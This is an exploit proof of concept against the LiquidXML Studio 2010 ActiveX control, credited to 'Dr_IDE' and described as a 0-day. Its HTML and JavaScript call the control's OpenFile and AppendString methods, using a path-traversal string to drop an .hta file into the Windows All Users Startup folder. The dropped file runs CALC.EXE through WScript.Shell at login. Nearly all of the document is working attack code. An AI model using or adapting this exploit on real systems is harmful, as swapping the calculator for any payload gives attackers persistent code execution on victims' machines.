LiquidXML Studio 2010 active-x insecure method executable file creation exploit.
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<object classid='clsid:E68E401C-7DB0-4F3A-88E1-159882468A79' id='target'/></object>
<script>
var sofa = "..\\..\\..\\..\\..\\..\\..\\..\\..\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\the_doctor_is_in.hta";
var king = "Oh noz, Look what Dr_IDE did...<" + "SCRIPT> var x=new ActiveXObject(\"WScript.Shell\"); x.Exec(\"CALC.EXE\"); <" +"/SCRIPT>";
target.OpenFile(sofa,1);
target.AppendString(king);
</script>
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LiquidXML Studio 2010 ActiveX Insecure Method Executable File Creation 0-day<br>
By: Dr_IDE<br>
GUID: {E68E401C-7DB0-4F3A-88E1-159882468A79}<br>
Number of Interfaces: 1<br>
Default Interface: _FtpLibrary<br>
RegKey Safe for Script: False<br>
RegkeySafe for Init: False<br>
KillBitSet: False<br>
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Been sitting on this one so long it could've hatched twice.
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